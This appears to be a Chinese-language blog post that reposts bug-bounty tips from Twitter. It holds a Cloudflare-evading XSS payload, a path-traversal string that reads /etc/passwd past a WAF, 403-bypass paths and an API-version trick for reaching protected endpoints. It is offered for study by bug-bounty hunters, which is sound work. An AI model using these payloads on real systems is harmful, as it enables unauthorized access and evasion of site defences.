干货 | Twitter渗透技巧搬运工（四）

403 Bypass

Bug type: 403 Bypass

site[.]com/env => 403 Forbidden 
site[.]com/env/HTTPS2 => Bypassed

Bug Bounty Dorks

API hacking

API hacking Status: [Dup] Internally known

Tip: Check endpoint's on different api versions

1. GET /v2/users or /v2/users.json -> 403
2. GET /v3/users -> 403
3. GET /v3/users.json -> 200
4. GET /v4/users -> 200
5. POST /v4/users -> 200 [Users created]

bugbounty poc集合

https://github.com/zeroc00I/AllVideoPocsFromHackerOne/tree/main/weakness

命令注入备忘录

Cloudfalre XSS Bypass

"><sVg/OnLuFy="X=y"oNloaD=;1^confirm(1)>/``^1//

来源：https://github.com/HernanRodriguez1

补充阅读：XSS 绕过 CLOUDFLARE + 过滤器

https://0xjin.medium.com/new-xss-bypass-cloudflare-filters-2a878c01d312

本地文件包含 WAF (Cloudflare) bypass

../../etc/passwd = 403 Forbidden
../../etc/random/../passwd = 200 OK

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